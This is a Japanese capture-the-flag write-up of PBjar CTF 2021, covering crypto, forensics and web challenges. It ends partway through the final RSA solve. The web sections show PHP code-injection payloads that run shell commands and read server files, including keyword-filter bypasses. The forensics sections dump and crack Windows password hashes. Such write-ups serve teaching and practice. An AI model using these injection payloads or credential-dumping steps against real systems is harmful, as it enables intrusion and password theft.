PBjar CTF '21 Writeup

この大会は2021/9/17 23:00(JST)~2021/9/20 11:00(JST)に開催されました。
今回もチームで参戦。結果は9857点で563チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

discord plz (misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

flag{thamks_for_joining_the_disc}

Convert (crypto)

hexデコードする。

$ echo 666c61677b6469735f69735f615f666c346767675f68317d | xxd -r -p
flag{dis_is_a_fl4ggg_h1}
flag{dis_is_a_fl4ggg_h1}

ReallynotSecureAlgorithm (crypto)

p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

with open('out.txt', 'r') as f:
    p = int(f.readline())
    q = int(f.readline())
    e = int(f.readline())
    ct = int(f.readline())

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m)
print flag
flag{n0t_to0_h4rd_rIt3_19290453}

ProgrammersHateProgramming (web)

noteを追加すると、phpとして追加される。以下のように入力して情報を得る。

■<? system("pwd"); ?>
/var/www/html

■<? system("ls -l"); ?>
total 11508
-rw-r--r-- 1 www-data www-data    48 Sep 17 14:48 019IDCL7D9cpglS.php
-rw-r--r-- 1 www-data www-data     0 Sep 17 21:16 08BeBMzfoCze8ZR.php
-rw-r--r-- 1 www-data www-data     9 Sep 17 15:01 094kV3YMpZgVuht.php
-rw-r--r-- 1 www-data www-data     0 Sep 17 17:45 09yOL3RK2ghqRjT.php
-rw-r--r-- 1 www-data www-data    13 Sep 17 15:02 0CH2G3pDnhFy3xD.php
-rw-r--r-- 1 www-data www-data     7 Sep 17 15:04 0CYolvsA6imCHOR.php
-rw-r--r-- 1 www-data www-data    27 Sep 17 18:58 0CjTWUcNT3pJBok.php
-rw-r--r-- 1 www-data www-data    23 Sep 17 16:01 0D4goPO3fKrJ9Fz.php
                :
                :
-rwxr-xr-x 1 root     root        19 Sep 17 00:26 note1.php
-rwxr-xr-x 1 root     root        14 Sep 17 00:26 note2.php
                :
                :

フラグらしきものはない。

■<? system("cat index.php"); ?>

<?php
session_start();
if(!isset($_SESSION["notes"]) && !isset($note_array))
{
    $note_array = array("note1.php", "note2.php");
    $_SESSION["notes"]=$note_array;
}
?>

<html>
<head>
    <title> Programmers Hate Programming </title>

    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<div class="container">
<div class="jumbotron">
    <div class="login-form">
        <form role="form" action="addnote.php" method="post">
            <div class="form-group">
                <input type="text" name="notewrite" id="notewrite" class="form-control input-lg" placeholder="New Note">
                <input type="submit" class="btn btn-lg btn-success btn-block" value="Add Note">
            </div>
        </form>
    </div>
</div>
<div class="jumbotron">
    <?php
        foreach($_SESSION["notes"] as $key=>$value)
        {
            $notenum = $key + 1;
            echo "<a href=$value> Note $notenum </a>" . "<br>";
        }
    ?>
</div>
</div>
</html>

■<? system("cat addnote.php"); ?>

<?php
session_start();

function str_replace_first($from, $to, $content)
{
    $from = '/'.preg_quote($from, '/').'/';

    return preg_replace($from, $to, $content, 1);
}
function generateRandomString($length = 15) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];
    $notetoadd = str_replace_first("<?php", "", $newnote);
    $notetoadd = str_replace_first("?>", "", $notetoadd);
    $notetoadd = str_replace_first("<script>", "", $notetoadd);
    $notetoadd = str_replace_first("</script>", "", $notetoadd);
    $notetoadd = str_replace_first("flag", "", $notetoadd);

    $filename = generateRandomString();
    array_push($_SESSION["notes"], "$filename.php");
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}
?>

"flag"というワードは削除されるので、そのことを考慮して、情報収集を続ける。

■<? system("ls -l /"); ?>

total 916
drwxr-xr-x   1 root root   4096 Dec 11  2020 bin
drwxr-xr-x   2 root root   4096 Nov 22  2020 boot
drwxr-xr-x   5 root root    340 Sep 17 01:01 dev
drwxr-xr-x   1 root root   4096 Sep 17 01:01 etc
-rwxr-xr-x   1 root root    239 Sep 17 00:26 flag.php
drwxr-xr-x   2 root root   4096 Nov 22  2020 home
drwxr-xr-x   1 root root   4096 Dec 11  2020 lib
drwxr-xr-x   2 root root   4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root   4096 Dec  9  2020 media
drwxr-xr-x   2 root root   4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root   4096 Dec  9  2020 opt
dr-xr-xr-x 294 root root      0 Sep 17 01:01 proc
drwx------   1 root root   4096 Dec 11  2020 root
drwxr-xr-x   1 root root   4096 Dec 11  2020 run
drwxr-xr-x   1 root root   4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root   4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root      0 Sep 17 01:01 sys
drwxrwxrwt   1 root root 860160 Sep 18 01:17 tmp
drwxr-xr-x   1 root root   4096 Dec  9  2020 usr
drwxr-xr-x   1 root root   4096 Dec 11  2020 var

■<? system("cat /flflagag.php"); ?>
flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}
flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}

Stegosaurus stenops (forens)

steghideによる情報隠蔽があやしいが、パスワードがわからないので、ブルートフォースをする。

$ python steg_brute.py -b -d dict/rockyou.txt -f stegosaurus.jpg

 [i] Searching...
  0%|                                                                    |

 wrote extracted data to "stegosaurus_flag.txt".


 [+] Information obtained with password: snowflake

flag{ungulatus_better_than_stenops}
flag{ungulatus_better_than_stenops}

ProgrammersHateProgramming 2 (web)

noteを追加すると、phpとして追加されるのは「ProgrammersHateProgramming」の問題と同じ。ただブラックリストの文字列が増え、それを回避して情報を得る必要がある。以下のように入力して情報を得る。

■<<?? system("pwd"); ??>>
/var/www/html

■<<?? system("ls -l /"); ??>>

total 76
drwxr-xr-x   1 root root 4096 Dec 11  2020 bin
drwxr-xr-x   2 root root 4096 Nov 22  2020 boot
drwxr-xr-x   5 root root  340 Sep 18 19:08 dev
drwxr-xr-x   1 root root 4096 Sep 18 19:08 etc
-rw-r--r--   1 root root  104 Sep 18 16:51 flag.php
drwxr-xr-x   2 root root 4096 Nov 22  2020 home
drwxr-xr-x   1 root root 4096 Dec 11  2020 lib
drwxr-xr-x   2 root root 4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root 4096 Dec  9  2020 media
drwxr-xr-x   2 root root 4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root 4096 Dec  9  2020 opt
dr-xr-xr-x 345 root root    0 Sep 18 19:08 proc
drwx------   1 root root 4096 Dec 11  2020 root
drwxr-xr-x   1 root root 4096 Dec 11  2020 run
drwxr-xr-x   1 root root 4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root 4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root    0 Sep 18 19:08 sys
drwxrwxrwt   1 root root 4096 Sep 18 21:26 tmp
drwxr-xr-x   1 root root 4096 Dec  9  2020 usr
drwxr-xr-x   1 root root 4096 Dec 11  2020 var

■<<?? system("ccatat /flflagag.php"); ??>>
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}

Not_Baby (crypto)

factordbでnを素因数分解すると、一部しか分解できない。

n = 2^2 * 73 * 181 * 11411 * 235111 * 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967

最後の405...が素数ではない。yafuで素因数分解してみる。

>yafu-x64.exe "factor(405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967)" -v -threads 4


09/18/21 23:54:28 v1.34.5 @ XXXXXXXX, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2895.213960
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
fac: found nfs job file, resuming nfs
nfs: checking for job file - job file found, testing for matching input
nfs: number in job file matches input
nfs: checking for data file
nfs: no data file found
nfs: commencing nfs on c105: 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967
nfs: parsed lpbr = 26, lpba = 26
nfs: continuing with sieving - could not determine last special q; using default startq
nfs: commencing algebraic side lattice sieving over range: 1265000 - 1270000
nfs: commencing algebraic side lattice sieving over range: 1250000 - 1255000
nfs: commencing algebraic side lattice sieving over range: 1260000 - 1265000
nfs: commencing algebraic side lattice sieving over range: 1255000 - 1260000
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
 Warning:  lowering FB_bound to 1249999.
 Warning:  lowering FB_bound to 1264999.
 Warning:  lowering FB_bound to 1259999.
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
 Warning:  lowering FB_bound to 1254999.
FBsize 96580+0 (deg 4), 183071+0 (deg 1)
FBsize 96974+0 (deg 4), 183071+0 (deg 1)
FBsize 96210+0 (deg 4), 183071+0 (deg 1)
FBsize 97321+0 (deg 4), 183071+0 (deg 1)

        :

commencing square root phase
reading relations for dependency 1
read 189840 cycles
cycles contain 700264 unique relations
read 700264 relations
multiplying 700264 relations
multiply complete, coefficients have about 29.20 million bits
initial square root is modulo 242932597
sqrtTime: 28
NFS elapsed time = 4791.5450 seconds.
pretesting / nfs ratio was 0.00
Total factoring time = 4791.5470 seconds


***factors found***

P71 = 61872434969046837223597248696590986360784288448775988338706090668799371
P34 = 6546828737292350227122068012441477

ans = 1

素因数分解できたので、あとは通常通り復号する。

from Crypto.Util.number import *

n = 57436275279999211772332390260389123467061581271245121044959385707165571981686310741298519009630482399016808156120999964
e = 65537
ct = 25287942932936198887822866306739577372124406139134641253461396979278534624726135258660588590323101498005293149770225633

primes = {2: 2, 73: 1, 181: 1, 11411: 1, 235111: 1,
    6546828737292350227122068012441477: 1,
    61872434969046837223597248696590986360784288448775988338706090668799371: 1}

phi = 1
for k, v in list(primes.items()):
    phi *= (k - 1) * (k ** (v - 1))

d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
flag{f4ct0ring_s0000oo00000o00_h4rd}

memedium (forens)

何かしらのパスワードがフラグということらしい。

$ volatility -f mememachinememory.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mememachinememory.vmem)
                      PAE type : PAE
                           DTB : 0x334000L
                          KDBG : 0x80545ae0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2021-02-24 19:53:21 UTC+0000
     Image local date and time : 2021-02-24 14:53:21 -0500

$ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual    Physical   Name
---------- ---------- ----
0xe1b974e0 0x089ff4e0 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b8fb60 0x0892eb60 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
0xe1b68b60 0x08379b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b5e008 0x082a2008 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
0xe1625950 0x049d1950 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe15e40f0 0x03f990f0 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe161fb60 0x049a5b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe15e8b60 0x04044b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe13e5530 0x024ad530 [no name]
0xe1018370 0x020dd370 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe1008b60 0x020a1b60 [no name]
0xe2031008 0x00711008 \Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1ab1690 0x06b5f690 \Device\HarddiskVolume1\Documents and Settings\Administrator\NTUSER.DAT

$ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hashdump -y 0xe1018370 -s 0xe161fb60
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:cdf5e5fd95c14d936e9c218c1f22e251:31a5167ba5ce8351b0110a9d13636cd9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2c111668e0c7fd616a8af0feb7e4fcc1:103cc84c0cbb0bada9eea387d6df8207:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9546430bd8979312c16cb95d28bfc853:::

https://hashes.com/en/decrypt/hashでクラックする。Administratorのハッシュ31a5167ba5ce8351b0110a9d13636cd9のパスワードが見つかった。

31a5167ba5ce8351b0110a9d13636cd9:superman83
flag{superman83}

Knapsack (crypto)

Merkle-Hellmanナップサック暗号になっているので、LLLを使って復号する。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

def is_valid_vector(b):
    if b[0] != 0:
        return False
    for i, x in enumerate(b):
        if i != 0 and abs(x) != 1:
            return False

    return True

with open('output.txt', 'r') as f:
    b = eval(f.readline().split(': ')[1])
    c = int(f.readline().split(': ')[1])

matrix_size = len(b) + 1
m_list = [
    [0 for _ in range(matrix_size)] for _ in range(matrix_size)
]

for i in range(matrix_size - 1):
    m_list[i][0] = b[i]
    m_list[i][i+1] = 2
    m_list[matrix_size - 1][i+1] = -1

m_list[matrix_size - 1][0] = - c

llled = Matrix(ZZ, m_list).LLL()

flag_vecs = []
for basis in llled:
    if is_valid_vector(basis):
        flag_vecs.append(basis)

for v in flag_vecs:
    bin_flag = ''
    for _bit in reversed(v):
        c = ("1" if _bit == 1 else "0")
        bin_flag = c + bin_flag

    flag = long_to_bytes(int(bin_flag, 2))
    print(flag)
flag{b4d_r_4nd_q_1s_sc4ry}

Mr. Robot and Friends (forens)

フィッシングメールの送信者の名前がフラグ。

$ volatility -f mrrobotandfriends.vmss imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : VMWareAddressSpace (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/mnt/hgfs/Shared/work/mrrobotandfriends.vmss)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82765be8L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0x82766c00L
                KPCR for CPU 1 : 0x807c5000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2015-10-09 12:53:02 UTC+0000
     Image local date and time : 2015-10-09 08:53:02 -0400

$ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x84ecbb18:csrss.exe                                 368    360      9    366 2015-10-09 11:30:47 UTC+0000
 0x84f97628:wininit.exe                               420    360      3     77 2015-10-09 11:30:48 UTC+0000
. 0x84e979f8:services.exe                             528    420      9    200 2015-10-09 11:30:48 UTC+0000
.. 0x85ae0cb0:dllhost.exe                            1888    528     13    196 2015-10-09 11:30:54 UTC+0000
.. 0x8586fd40:svchost.exe                             644    528     11    351 2015-10-09 11:30:48 UTC+0000
.. 0x85ae3030:vmtoolsd.exe                           1432    528      8    274 2015-10-09 11:30:54 UTC+0000
.. 0x85935030:svchost.exe                             796    528     19    446 2015-10-09 11:30:51 UTC+0000
.. 0x85d01510:svchost.exe                            3232    528      9    131 2015-10-09 11:31:34 UTC+0000
.. 0x858b69e8:msdtc.exe                              1980    528     12    145 2015-10-09 11:30:55 UTC+0000
.. 0x85978940:svchost.exe                             864    528     30   1036 2015-10-09 11:30:52 UTC+0000
.. 0x85969030:svchost.exe                             836    528     17    405 2015-10-09 11:30:52 UTC+0000
... 0x85c09968:dwm.exe                               2088    836      3     93 2015-10-09 11:31:04 UTC+0000
.. 0x85c39030:taskhost.exe                           2252    528      7    150 2015-10-09 11:31:04 UTC+0000
.. 0x8582c8d8:spoolsv.exe                            1228    528     12    273 2015-10-09 11:30:53 UTC+0000
.. 0x84e01448:svchost.exe                             720    528      6    276 2015-10-09 11:30:50 UTC+0000
.. 0x85a138f0:svchost.exe                            1124    528     16    484 2015-10-09 11:30:53 UTC+0000
.. 0x85a55d40:svchost.exe                            1256    528     17    304 2015-10-09 11:30:53 UTC+0000
.. 0x85b43a58:sppsvc.exe                             3900    528      4    153 2015-10-09 11:32:54 UTC+0000
.. 0x859cc2c0:svchost.exe                            1008    528     13    650 2015-10-09 11:30:52 UTC+0000
.. 0x8598c920:SearchIndexer.                         2544    528     13    670 2015-10-09 11:31:10 UTC+0000
.. 0x85976318:svchost.exe                            1784    528      5     99 2015-10-09 11:30:54 UTC+0000
. 0x8583b030:lsass.exe                                536    420      9    851 2015-10-09 11:30:48 UTC+0000
. 0x8583d960:lsm.exe                                  544    420     10    163 2015-10-09 11:30:48 UTC+0000
 0x83d334e8:System                                      4      0     94    500 2015-10-09 11:30:44 UTC+0000
. 0x84edcbf0:smss.exe                                 276      4      2     30 2015-10-09 11:30:44 UTC+0000
 0x84013598:TeamViewer.exe                           2680   1696     28    632 2015-10-09 12:08:46 UTC+0000
. 0x858bc278:TeamViewer_Des                          1092   2680     16    405 2015-10-09 12:10:56 UTC+0000
. 0x84017d40:tv_w32.exe                              4064   2680      2     83 2015-10-09 12:08:47 UTC+0000
 0x85c1e5f8:explorer.exe                             2116   2060     23    912 2015-10-09 11:31:04 UTC+0000
. 0x83eb5d40:cmd.exe                                 2496   2116      1     22 2015-10-09 11:33:42 UTC+0000
. 0x83f1ed40:mstsc.exe                               2844   2116     11    484 2015-10-09 12:12:03 UTC+0000
. 0x83fb86a8:cmd.exe                                 3064   2116      1     22 2015-10-09 11:37:32 UTC+0000
. 0x859281f0:vmtoolsd.exe                            2388   2116      7    164 2015-10-09 11:31:04 UTC+0000
. 0x85cd3d40:OUTLOOK.EXE                             3196   2116     22   1678 2015-10-09 11:31:32 UTC+0000
 0x855f6d40:csrss.exe                                 432    412     11    366 2015-10-09 11:30:48 UTC+0000
. 0x83f13d40:conhost.exe                             1624    432      3     81 2015-10-09 11:35:15 UTC+0000
. 0x83fa9030:conhost.exe                              676    432      3     83 2015-10-09 11:37:32 UTC+0000
. 0x83e5cd40:conhost.exe                              916    432      3     83 2015-10-09 11:33:42 UTC+0000
. 0x83fc7c08:conhost.exe                             1824    432      3     85 2015-10-09 11:39:22 UTC+0000
 0x8561d030:winlogon.exe                              480    412      3    115 2015-10-09 11:30:48 UTC+0000
 0x85d0d030:iexplore.exe                             2996   2984      6    463 2015-10-09 11:31:27 UTC+0000
. 0x83f105f0:cmd.exe                                 1856   2996      1     33 2015-10-09 11:35:15 UTC+0000
 0x83fb2d40:cmd.exe                                  3784   2196      1     24 2015-10-09 11:39:22 UTC+0000

メールのfromの情報を取得したいので、Outlookのプロセスダンプを取得してみる。

$ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 memdump -D . -p 3196
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
Writing OUTLOOK.EXE [  3196] to 3196.dmp

メールの"From: "が含まれている箇所を見てみる。

$ strings 3196.dmp | grep From:
From: The Whit3R0s3 <th3wh1t3r0s3@gmail.com>
From:
flag{The_Whit3R0s3}

MRSA (crypto)

入力した結果の値をencとして、式を変形していく。

p % s = enc
  ↓
p = s * k + enc
  ↓
n = p * q = (s * k + enc) * q
  ↓
n % s = (enc * q) % s
  ↓
q % s = (n * inverse(enc)) % s
  ↓
q = ((n * inverse(enc)) % s) + s * A

Aを順に増やしてnの約数になるものを探す。見つかったら、qの値からpの値がわかり、あとは通常通り復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('143.198.127.103', 42011))

data = recvuntil(s, '\n').rstrip()
print data
n = int(data.split(': ')[1])
data = recvuntil(s, '\n').rstrip()
print data
e = int(data.split(': ')[1])
data = recvuntil(s, '\n').rstrip()
print data
ct = int(data.split(': ')[1])

inp_s = getPrime(127)
data = recvuntil(s, 'Enter: ').rstrip()
print data + str(inp_s)
s.sendall(str(inp_s) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
enc = int(data)

q = ((n * inverse(enc, inp_s)) % inp_s) + inp_s
while True:
    if n % q == 0:
        break
    q += inp_s

assert n % q == 0
p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

n: 20603782820542082184416268948744603762407194319137585909990405447963323634526241645188028117944337285512644908027511
e: 65537
ct: 680809290864502080039915858332076289761976840437553625856516570412495781280738449311123758941539089923500066331209
######################################################################
Now here's the More part!!!
Enter some message, and I will encrypt it for you
But you gotta follow the condition that your message gotta be less than q (and like legitamite)
######################################################################
Enter:163182744620913721929016238375135792857
59808139329023928575305949361851876653
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}

leftovers (crypto)

サーバの処理概要は以下の通り。

・mod = gen()
 ・mod: 10**9以上10**10以下のランダム整数(奇数)
・small = mod
・以下繰り返し
 ・iが2以上int((mod+5)**(1/2))未満で以下を検査
  ・modがiで割り切れたら、small = iとし、検査終了
 ・smallとmodが違う場合はmod*=smallで、終了
※((mod+5)**(1/2))未満で割り切れるものが必ずあり、modはそれの2乗で割り切れる。
・lst: small-1個分の1の配列
・r: min(10,small-1)以上small*3以下のランダム整数
・lstにr個の0を追加
・lstをシャッフル
・modを表示
・lstを文字列として結合したものを表示
・s: 数値をスペース区切りで入力
・s: sの各数値の配列(各数値は2以上mod未満)
・sの長さとlstの長さが同じであることをチェック
・sの配列には同じ値がないかをチェック
・sの各値について以下をチェック
 ・pow(sの各値, small, mod) = 1の場合
  cs += "1"
 ・そうでない場合
  cs += "0"
 ・csと表示したstringが同じ
・すべてのチェックがOKの場合、フラグを表示

1の数が2個以下だったら、以下は必ず条件を満たすので、チェックをパスすることができる。

・pow(mod // small+1, small, mod) == 1
・pow(mod // small * 2 +1, small, mod) == 1

つまりsmallが3の場合にチェックをパスできる。繰り返し問題を見て、smallが3の問題が出たら、答える。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('143.198.127.103', 42012))

    data = recvuntil(s, 'to 1.\n').rstrip()
    print data
    pattern = 'power of (\d+) is congruent to 1 mod (\d+) it'
    m = re.search(pattern, data)
    small = int(m.group(1))
    mod = int(m.group(2))
    if small == 3:
        break

data = recvuntil(s, 'Enter: ')
print data[:-1],

string = data.split('\n')[-2]
ans = ''
next = 2
init = True
for i in string:
    if i == '0':
        ans += str(next) + ' '
        next += 1
    else:
        v = mod // small
        if init == False:
            v *= 2
        else:
            init = False
        ans += str(v + 1) + ' '

ans = ans[:-1]
print ans
s.sendall(ans + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Alright, I will send you a string, where each char contains either 0 or 1.
Then you will send me a list of integers back with the same size, separated by spaces.
Now for each number in your list, a, if it satisfies a to the power of 3 is congruent to 1 mod 18996169653 it will encode to 1.
Otherwise, your number will encode to 0. Now I will concattenate all of your encoded numbers into a string.
If this string equals the original string I sent you, then you will get the flag :yayy:.
One final caveat: all your numbers must be unique and positive integers greater than 1 and less than 18996169653.
0100100
Enter: 2 6332056552 3 4 12664113103 5 6
b'flag{pr1mes_r_pr3tty_sp3c14lll}'
flag{pr1mes_r_pr3tty_sp3c14lll}

Not_Baby_Fixed (crypto)

factordbでnを素因数分解する。一部しか分解できない。

n = 2^4 * 5 * 71 * 103 * 8581 * 50543 * 190026430624001 * 2703970397964298301 * 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837

最後の240...が素数ではない。yafuで素因数分解してみる。

>yafu-x64.exe "factor(24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837)" -v -threads 4


09/20/21 07:00:49 v1.34.5 @ XXXXXXXX, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2908.957580
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C188
rho: x^2 + 2, starting 1000 iterations on C188
rho: x^2 + 1, starting 1000 iterations on C188
pm1: starting B1 = 150K, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t57.85
ecm: 30/30 curves on C188, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 57.85
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t57.85
ecm: 74/74 curves on C188, B1=11K, B2=gmp-ecm default
fac: setting target pretesting digits to 57.85
fac: t15: 7.17
fac: t20: 1.04
fac: t25: 0.05
fac: sum of completed work is t20.24
fac: work done at B1=50000: 0 curves, max work = 214 curves
fac: 214 more curves at B1=50000 needed to get to t57.85
ecm: 214/214 curves on C188, B1=50K, B2=gmp-ecm default, ETA: 0 sec
pm1: starting B1 = 3750K, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: t15: 37.74
fac: t20: 11.23
fac: t25: 1.05
fac: t30: 0.07
fac: sum of completed work is t25.33
fac: work done at B1=250000: 0 curves, max work = 430 curves
fac: 430 more curves at B1=250000 needed to get to t57.85
ecm: 430/430 curves on C188, B1=250K, B2=gmp-ecm default, ETA: 1 sec
pm1: starting B1 = 15M, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: t15: 123.74
fac: t20: 64.98
fac: t25: 9.65
fac: t30: 1.07
fac: t35: 0.09
fac: sum of completed work is t30.45
fac: work done at B1=1000000: 0 curves, max work = 904 curves
fac: 904 more curves at B1=1000000 needed to get to t57.85
ecm: 44/904 curves on C188, B1=1M, B2=gmp-ecm default, ETA: 37.9 min
ecm: found prp37 factor = 2612704207743743498414225576245857791

fac: setting target pretesting digits to 46.46
fac: t15: 138.74
fac: t20: 73.98
fac: t25: 11.90
fac: t30: 1.45
fac: t35: 0.14
fac: t40: 0.01
fac: sum of completed work is t30.70
fac: work done at B1=1000000: 45 curves, max work = 904 curves
fac: 859 more curves at B1=1000000 needed to get to t46.46
Total factoring time = 440.4927 seconds


***factors found***

P37 = 2612704207743743498414225576245857791
P151 = 9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307

ans = 1

素因数分解できたので、あとは通常通り復号する。

from Crypto.Util.number import *

n = 3134820448585521702394003995997656455907477282436511703324204127865184340978305062848983553236851077753614495104127538077189920381627136628226756258746377111950396074035862527542407869672121642062363412247864869790585619483151943257840
e = 65537
